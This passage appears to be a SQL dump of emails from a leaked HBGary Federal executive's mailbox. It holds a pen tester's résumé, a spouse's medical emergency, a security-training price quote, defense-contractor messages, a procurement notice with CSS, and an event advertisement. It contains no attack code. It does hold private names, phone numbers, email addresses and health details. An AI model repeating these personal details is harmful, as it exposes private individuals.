&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;April 2007-September 2007L-3 Titan, Defense Intelligence Agency•&nbsp;&nbsp;Member of DIA Security team, Lead&nbsp;Vulnerability Assessment program for unclassified networks.•&nbsp;&nbsp;Interacted with IDS analysts on existing&nbsp;and possible threats•&nbsp;&nbsp;Generated custom reporting for Scan&nbsp;Outputs•&nbsp;&nbsp;Self directed, off hours work schedule&nbsp;Senior Penetration Tester&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;June.2006-April.2007Comsys/Emesec, Department of Veterans Affairs•&nbsp;&nbsp;Development of detailed test plans,&nbsp;Testing Methodologies, and End User reports as well as Executive level Reports.•&nbsp;&nbsp;Daily use of Penetration testing tools as&nbsp;well as Vulnerability assessment tools, gathered from both publicly and&nbsp;privately available Security Tools.• &nbsp;Design&nbsp;and Configuration of attack platforms based in both windows and Linux&nbsp;environments.•&nbsp;&nbsp;Design and Implementation of test&nbsp;networks for simulated vulnerability assessment and penetration testing&nbsp;training.•&nbsp;&nbsp;Researching newly released testing tools&nbsp;for possible inclusion in attack platforms• &nbsp;Preparing&nbsp;Standard operating procedures for new tools being added to the attack platform• &nbsp;Daily&nbsp;monitoring of security information sources to identify possible emerging&nbsp;threats against current/future Veterans Affairs information technology&nbsp;environments• &nbsp;Provide&nbsp;direct remediation options for vulnerabilities or exploited configuration&nbsp;oversights that were identified through the testing process•&nbsp;&nbsp;Perform Network Penetration Tests in&nbsp;accordance with VA security guidelines•&nbsp;&nbsp;Responsible for performing proof of&nbsp;concept tests and writing mitigation reports for application, network and&nbsp;server vulnerabilities• &nbsp;Translated&nbsp;executive level business requirements into technical documentation.&nbsp;Senior Security Engineer&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;May 2005-June 2006Penetration Testing and Vulnerability AssessmentCACI, National Geo-Spatial Intelligence Agency•&nbsp;&nbsp;Vulnerability Assessment Team member-&nbsp;Conducting Vulnerability assessments on network assets using local scanning&nbsp;tools, as well as Remote Enterprise level scanning assets. Directly supporting&nbsp;Certification and&nbsp;Accreditation processes.•&nbsp;&nbsp;Penetration Testing – Using Core Impact,&nbsp;Metasploit, and Vulnerability assessment tools, as well as publicly and&nbsp;privately available Security Tools.•&nbsp;&nbsp;Creating Penetration testing plans, Rules&nbsp;of engagement, performing needed penetration activities, and writing final&nbsp;technical reports, as well as executive summaries on activities performed.• &nbsp; Network&nbsp;Mapping and Network Discovery scanning• &nbsp; &nbsp;Wireless&nbsp;device detection.• &nbsp; Incident&nbsp;Response Investigation, IDS signature analysis• &nbsp; FISMA&nbsp;Site Inspections taking place CONUS and OCONUS.•&nbsp;&nbsp;Patch level validation, using enterprise&nbsp;level scanning tools to validate patch level to insure compliance with&nbsp;directives of organization• &nbsp;Familiar&nbsp;with DCID 6/3• Familiar&nbsp;with FISMA site inspection regulations&nbsp;Project Manager.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;March 2004-May 2005Velociti, Kansas City, Kansas•&nbsp;&nbsp;Managing&nbsp;the Completion of 35+ projects Nationwide•&nbsp;&nbsp;Assisting Mobile technicians in Job Site&nbsp;completion, trouble shooting, and customer satisfaction issues.•&nbsp;&nbsp;Direct customer contact to insure that&nbsp;all facets of the contract are met with professionalism, and top level job&nbsp;quality completion.•&nbsp;&nbsp;Directly responsible for every piece of&nbsp;hardware installed, as well as full functionality for projects under my&nbsp;supervision.•&nbsp;&nbsp;Direct 15+ employees nationwide in the&nbsp;installation, and trouble shooting of a Satellite tracking and cryptographic&nbsp;load validation systems.&nbsp;Cryptology/Information Security Technician&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;June 2000-March 2004United States Navy, Sasebo, Japan&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;•&nbsp;&nbsp;Member of the USS ESSEX Computer Network&nbsp;Vulnerability Assessment team, which performed necessary upgrades and&nbsp;modifications to both the UNCLASSIFIED, SECRET, and TOP SECRET/SCI networks on&nbsp;board the USS Essex.• &nbsp;Member&nbsp;of IDS team monitoring of network traffic using Snort.•&nbsp;&nbsp;Working closely with Government&nbsp;contractors to install, maintain and remove various communication and&nbsp;interception systems from the classified and unclassified spaces.•&nbsp;&nbsp;Primary maintenance technician for 2 RF&nbsp;systems, based in HP-UX, and RedHat Linux, attached directly to the TS/SCI&nbsp;network.•&nbsp;&nbsp;Instrumental in maintaining, installing,&nbsp;and troubleshooting a vast number of antenna and their interconnecting&nbsp;components on the USS ESSEX.•&nbsp;&nbsp;Compose, analyze, prepare and disseminate&nbsp;operational and highly technical reports and methodology documentation,&nbsp;pertaining to training, equipment usage, and interception/decryption SOP’s to&nbsp;support deployed&nbsp;units worldwide.•&nbsp;&nbsp;Conduct in-depth analysis and Manual&nbsp;Decryption on a variety of complex digital communications signals using&nbsp;sophisticated communications equipment and computer technology.•&nbsp;&nbsp;Provide analytical findings and technical&nbsp;guidance directly to supervisors, and high level Commanders.•&nbsp;&nbsp;Personally responsible for training all&nbsp;incoming personnel in signal recognition, analysis and collection, as well as&nbsp;maintenance of used systems.•&nbsp;&nbsp;Petty Officer in charge of numerous&nbsp;projects, possessing a focused and objective ability to manage groups of&nbsp;diverse individuals in response to mission requirements.Education&nbsp;and Training2010&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;NetWitness Analysis 1&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&nbsp;NetWitness Analysis 2 Content Development&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&nbsp;NetWitness Administrator&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&nbsp;Advanced Network and Host Forensics, NetWitness.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-DCISE&nbsp;User Conference&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-GIAC - Reverse Engineering Malware - Planned&nbsp;2010&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&nbsp;C++ programming courses NoVa Community College - Planned 20102009 – 35 Hours Instructor Led PMP Instruction (PMP)&nbsp;&nbsp; &nbsp;	&nbsp;- 35 Hours Prerequisite prep -&nbsp;Project Management Professional Training (PMI’s PMP)	- ArcSight training&nbsp;	&nbsp;-&nbsp;Use Case Training – oct-09	&nbsp;&nbsp;- Security + Certification&nbsp;Training (Comptia Security +)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&nbsp;Certified Ethical Hacker Training (CEH)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-&nbsp;DEFCON&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-ArcSight&nbsp;Protect ‘09&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-Classified&nbsp;Briefings2009 – Completed 90~credits towards bachelors degree, will be pursuing&nbsp;through ECPI, Information Security program.2008 – ShmooCon, DEFCON, Various Classified Briefings.2007 – ShmooCon2006 – Core Impact Training2005 – Foundstone Enterprise Training2005 – University of Phoenix Bachelor of Science continuing degree plan2004 – Attended University of Texas, Criminal Justice courses, Sasebo,&nbsp;Japan.2003 – University of Maryland, - Computer Science courses – Sasebo,&nbsp;Japan.2000-2001 – Cryptology training with advanced courses on Signal&nbsp;Interception and Decryption,2000 – Belton High School, Belton Missouri- High School Diploma&nbsp;&nbsp;&nbsp;&nbsp;~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group&nbsp;301-365-3291 office &nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comSEE THE HOT JOBS... CLICK THE LOGO LINK!&nbsp;\r\n',15733,'aaron_hbgary_com/15733.html'),(12202,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009036.M758940P14101Q7057.eml','\"Brian M Masterson\" <Brian.Masterson@ngc.com>,\"Brian M Masterson\" <Brian.Masterson@ngc.com>','Have to leave in the morning','Wife just got picked up by ambulance.  Call Ted to work any particulars.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',2526,'aaron_hbgary_com/2526.html'),(12203,'2010-09-23','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009036.M977991P14101Q7058.eml','aaron@hbgary.com','Re: EXTERNAL:Have to leave in the morning','Oh my god.  Is she ok?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 23, 2010 12:01 AM\r\nTo: Masterson, Brian M (XETRON)\r\nCc: Ted Vera \r\nSubject: EXTERNAL:Have to leave in the morning\r\n\r\nWife just got picked up by ambulance.  Call Ted to work any particulars.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',5032,'aaron_hbgary_com/5032.html'),(12204,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009037.M245779P14101Q7059.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Have to leave in the morning','Kidney stones.  She sounds line the pain is pretty severe.  They just\r\nhave to pass.  Ugh.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 23, 2010, at 6:10 AM, \"Masterson, Brian M (XETRON)\"\r\n wrote:\r\n\r\n> Oh my god.  Is she ok?\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 23, 2010 12:01 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Cc: Ted Vera \r\n> Subject: EXTERNAL:Have to leave in the morning\r\n>\r\n> Wife just got picked up by ambulance.  Call Ted to work any particulars.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',8932,'aaron_hbgary_com/8932.html'),(12205,'2010-09-23','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009037.M464128P14101Q7060.eml','aaron@hbgary.com','Re: EXTERNAL:Have to leave in the morning','Yuck!  At least not serious but would not say that to her right now.  :)\r\nProposal is delayed 2 weeks.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 23, 2010 05:19 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Have to leave in the morning\r\n\r\nKidney stones.  She sounds line the pain is pretty severe.  They just\r\nhave to pass.  Ugh.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 23, 2010, at 6:10 AM, \"Masterson, Brian M (XETRON)\"\r\n wrote:\r\n\r\n> Oh my god.  Is she ok?\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, September 23, 2010 12:01 AM\r\n> To: Masterson, Brian M (XETRON)\r\n> Cc: Ted Vera \r\n> Subject: EXTERNAL:Have to leave in the morning\r\n>\r\n> Wife just got picked up by ambulance.  Call Ted to work any particulars.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n',1424,'aaron_hbgary_com/1424.html'),(12206,'2010-09-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009037.M671993P14101Q7061.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Training','Daniel,\r\n\r\nOk I understand.  We will update the quote and resend.  The pen test\r\nruns about 30k.  If we pare things down, only Longmont, push off the\r\nquarterly training it will probably come out around 70k.  Is that\r\naffordable for you?\r\n\r\nSincerely,\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 22, 2010, at 5:34 PM, \"Daniel Collender\"\r\n wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n>\r\n> My initial feedback is that I won\'t be able to meet that pricing in\r\n> 2010.\r\n>\r\n> A good portion of my budget this year is reserved for the cyber\r\n> forensics tools (Responder Pro, Active Defense)\r\n>\r\n> Could we redo the quote to include the Longmont training only? I will\r\n> forego the pen testing until 2011 if I can get the training completed\r\n> this year.\r\n>\r\n> Best,\r\n> Dan\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, September 21, 2010 6:52 AM\r\n> To: Daniel Collender\r\n> Cc: Ted Vera\r\n> Subject: Social Media Training\r\n>\r\n> * PGP - S/MIME Signed: 9/21/2010 at 6:51:44 AM\r\n>\r\n> Hey Daniel,\r\n>\r\n> Really interested to get your feedback on how we broke out the quote and\r\n> the training with the pen test timelines.  BTW, looks like Dr. Scott and\r\n> his wife no longer are on Facebook.  If your not a frequent user, which\r\n> they didn\'t seem to be.  For most I usually recommend a series of other\r\n> steps that can adequately provide protection as long as they implement\r\n> them.\r\n>\r\n> One thing I forgot to add to the quote was an initial pen testing report\r\n> and a follow up mid and end year to quantify benefit of the training,\r\n> what people have picked up and haven\'t picked up.  This is an important\r\n> piece.  I will ask Ted to add and if everything else is ok we can resend\r\n> a final quote.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n>\r\n> * Aaron Barr \r\n> * Issuer: \"VeriSign\r\n',14462,'aaron_hbgary_com/14462.html'),(12207,'2010-09-23','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009037.M899599P14101Q7062.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: MS13 Delivery Postponed','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSend me Mark&#8217;s information so we\r\ncan submit it to see if they will get his clearance sponsored.\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Britton, Douglas C\r\n[mailto:douglas.c.britton@lmco.com] \r\nSent: Thursday, September 23, 2010 6:08 AM\r\nTo: Racz, James M; Lentz, Jason M\r\nCc: Chapman, Martha\r\nSubject: MS13 Delivery Postponed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTeam, \r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe are going to postpone the delivery to the 8th of October.&nbsp; Thank\r\nyou for your honest feedback and flexibility.\r\n\r\n&nbsp;\r\n\r\nIf anyone has crossovers they want to try to get processed\r\nin this time, for this activity, please contact Martha Chapman, CC:d above.\r\n\r\n&nbsp;\r\n\r\nThank you, \r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13884,'aaron_hbgary_com/13884.html'),(12208,'2010-09-23','arc@westfields.net','/aaron@hbgary.com/new/1297009038.M125792P14101Q7063.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Wednesday, 09/22/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nNGA-LSPD Support (Announcement)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO-Caprica (Announcement & Document Posting)\r\n\r\nNRO/SE-Graystone (Announcement)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13306,'aaron_hbgary_com/13306.html'),(12209,'2010-09-23','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297009038.M438698P14101Q7064.eml','aaron@hbgary.com','Selling Out Quickly - Register Soon for Air Force IT Day (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      Register\r\nNow Before You Miss Out | 9th Annual Air Force IT Day\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      9th Annual Air Force IT Day\r\nIT Supporting and Enabling the Joint Mission\r\n      Strengthening\r\nAir, Space, and Cyberspace Capabilities\r\n      \r\n      Thursday, October 21, 2010\r\nVienna, Virginia\r\n      Selling\r\nOut Quickly - Don\'t Miss Out!\r\n      Both registrations and sponsorships for AF IT Day are\r\nselling out very quickly since registration opened last week.\r\n      Don\'t miss out what so many of your colleagues have\r\nalready noticed: Air Force IT day is a “must attend” event\r\nfor anyone who wants to do\r\nbusiness with today\'s Air Force. \r\n      Read more and register now at \r\n      www.afceanova.org/air-force-it-day\r\n      \r\n      Agenda and Speakers\r\n      Air Force IT Day is an annual one-day conference focused\r\non issues and challenges facing the future Air Force.&nbsp;\r\n      Air Force IT Day brings you power-packed\r\nline-up&nbsp; that will help industry leaders make resource\r\ninvestment\r\ndecisions in this fiscally constrained environment.\r\n      Invited speakers include:\r\n      Arthur\r\n\"Wally\" L. Wachdorf\r\n      Senior Adviser for\r\nIntelligence and Cyber Operations, 24th Air Force\r\n      Brig Gen Ian R. Dickinson\r\n      Director,\r\nCommunications\r\nand Information and CIO, Air Force Space Command\r\n      Lt Gen William T. Lord\r\n      Chief of\r\nWarfighting\r\nIntegration and CIO, Office of the Secretary of the Air Force\r\n      David M. Van Buren\r\n      Assistant\r\nSecretary of\r\nthe Air Force for Acquisition&nbsp;\r\n      A requirements panel of Air Force Major\r\nCommand A6s who will tell you how IT supports the\r\noperational mission of their command and what their most pressing needs\r\nare.&nbsp;\r\nRead more and register at \r\n      www.afceanova.org/air-force-it-day\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Sponsor\r\nAir Force IT Day\r\n      Air Force IT day draws over 700 of your colleagues in\r\nthe field.&nbsp;\r\n      Put your best foot forward to AFCEA NOVA\'s partners in\r\ngovernment and industry.\r\n      Sponsorship packages are available for any size and\r\nbudget, with special discounts for small businesses.\r\n      Read more and sign up\r\n      www.afceanova.org/afitday\r\n      \r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year,\r\nAFCEA\r\nNOVA\'s event programs are opportunity you can\'t afford to pass up.\r\n      \r\n        \r\n          \r\n        \r\n          \r\n          Thursday, 10/14/2010\r\n          \r\n           Fall\r\n2010 Mentor Protégé Night\r\n        \r\n          \r\n        \r\n          \r\n          Friday, 10/15/2010\r\n          \r\n           October\r\nLuncheon with MG Steven Smith\r\n        \r\n          \r\n        \r\n          \r\n          Tuesday, 10/19/2010\r\n          \r\n           Military/Government\r\nCareer Transition Seminar &amp; Dinner\r\n        \r\n          \r\n        \r\n          Friday,\r\n11/12/2010 \r\n           Heroines\r\nin Technology Gala Dinner\r\n        \r\n          \r\n        \r\n          \r\n          Friday, 11/19/2010\r\n          \r\n           November\r\nLuncheon with the USMC Director C4/CIO \r\n        \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n    \r\n  \r\n\r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 